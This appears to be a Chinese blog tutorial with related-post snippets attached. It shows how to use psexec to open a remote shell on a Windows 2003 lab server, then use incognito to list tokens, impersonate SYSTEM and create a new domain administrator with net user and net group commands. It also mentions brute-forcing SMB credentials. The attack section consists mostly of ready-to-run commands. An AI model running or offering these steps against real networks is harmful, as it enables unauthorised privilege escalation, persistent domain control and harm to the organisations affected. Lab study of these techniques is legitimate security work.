使用incognito劫持身份psexec调用远程cmd

incognito是在kali上可以使用来进行提权的,主要的作用是用于进行提权的或者用来劫持身份的.如果需要进行这些操作,前提是需要开启smb服务,也就是445端口才可以,可以使用一些工具进行爆破smb的账号和密码.

以下实验用到的是一台03的服务器和一台win7的攻击机.
03的ip地址为:192.168.0.212,账号为1,密码也是1
win7的ip地址为:192.168.0.207

1.使用psexec软件进行远程调用03cmd的cmd.

win7执行以下命令:psexec.exe \192.168.0.212 -u 1 -p 1 cmd

2.使用普通用户进行劫持域管理的身份.前提是03必须是加入域中,并且03是存在abc\administrator的用户身份进程.也就是曾经使用过03登录域服务器的.从而进行劫持身份,然后创建一个新的域管理员进行其他的操作.

1.incognito.exe -h 192.168.0.212 -u 1 -p 1 list_tokens -u  #查找03的可用身份进行劫持
2.incognito.exe -h 192.168.0.212 -u 1 -p 1 execute -c "NT AUTHORITY\SYSTEM" cmd.exe   #劫持system身份
3.然后使用cmd命令进行创建一个域控出来,因为这个域控的身份是有可能失效的.
net user 1 1 /domain /add #创建域账号
net group "domain admins" 1 /domain /add #添加到域控组中

使用incognito劫持身份psexec调用远程cmd相关推荐

【PSTOOLS】PSEXEC 启动远程机器上的程序没有UI显示
c:\pstools\psexec \\172.168.0.9 -u username -p password -i 4 -d c:\abc.exe 上面的例子是调用远程机器上的abc.exe并且显 ...
php语言smtp类,php mailer类调用远程SMTP服务器发送邮件实现方法
这篇文章主要介绍了php mailer类调用远程SMTP服务器发送邮件实现方法,结合实例形式分析了php mailer类的调用及邮件发送相关技巧,需要的朋友可以参考下本文实例讲述了php maile ...
discuz云平台报调用远程接口失败的问题分析和解决
根据网络两篇文章整理问题描述: 当开通或关闭某个云平台服务的时候,报如下错误信息: 调用远程接口失败.请检查您的服务器是否处于内网以及您服务器的防火墙设置. 云平台测试站点的接口文件正常,于是开始在 ...
通过ssl调用远程WebService
一般情况下调用远程WebService通过代理类直接访问就可以,可是如果WebService是在https站点下,调用时就要分情况考虑了,整理了一下: 1.客户端证书已正确安装指已经在客户端安装了客 ...
python 如何调用远程接口
在python中我们可以使用requests模块来实现调用远程接口一.安装requests模块 pip install requests 二.使用requests模块实现get方式调用远程接口使用 ...
python调用远程的python文件_python 实现调用远程接口
在python中我们可以使用requests模块来实现调用远程接口一:安装requests模块 pip install requests 二:使用requests模块实现get方式调用远程接口使用 ...
计算机注册表远程桌面,仅允许运行使用网络级别身份验证的远程桌面计算机连接失败处理方法（远程桌面连接）...
计算机在开启远程桌面的时候选中了"仅允许运行使用网络级别身份验证的远程桌面计算机连接",于是连接时提示错误如下: 远程计算机需要网络级别身份验证,而您的计算机不支持该验证,请联系您 ...
调用远程接口上传文件
问题描述:第三方写了一个文件上传的接口,该接口的请求方式为Post请求,请求参数全部是以form-data表单形式进行提交,包含三个参数第一个:cookie(字符串类型) 第二个:seqNo(字符串 ...
WebService工具类调用远程接口服务时java.io.IOException: Server returned HTTP response code: 500 for URL XXX
问题描述:在本地测试时,使用个人封装的Webservice代码工具类调用远程接口服务时,一切正常.但是一旦将该代码放到一个已有项目的中使用时,就会出现如下所示的错误提示 java.io.IOExcep ...

使用incognito劫持身份psexec调用远程cmd

incognito是在kali上可以使用来进行提权的,主要的作用是用于进行提权的或者用来劫持身份的.如果需要进行这些操作,前提是需要开启smb服务,也就是445端口才可以,可以使用一些工具进行爆破smb的账号和密码.

1.使用psexec软件进行远程调用03cmd的cmd.

2.使用普通用户进行劫持域管理的身份.前提是03必须是加入域中,并且03是存在abc\administrator的用户身份进程.也就是曾经使用过03登录域服务器的.从而进行劫持身份,然后创建一个新的域管理员进行其他的操作.

使用incognito劫持身份psexec调用远程cmd相关推荐

最新文章

热门文章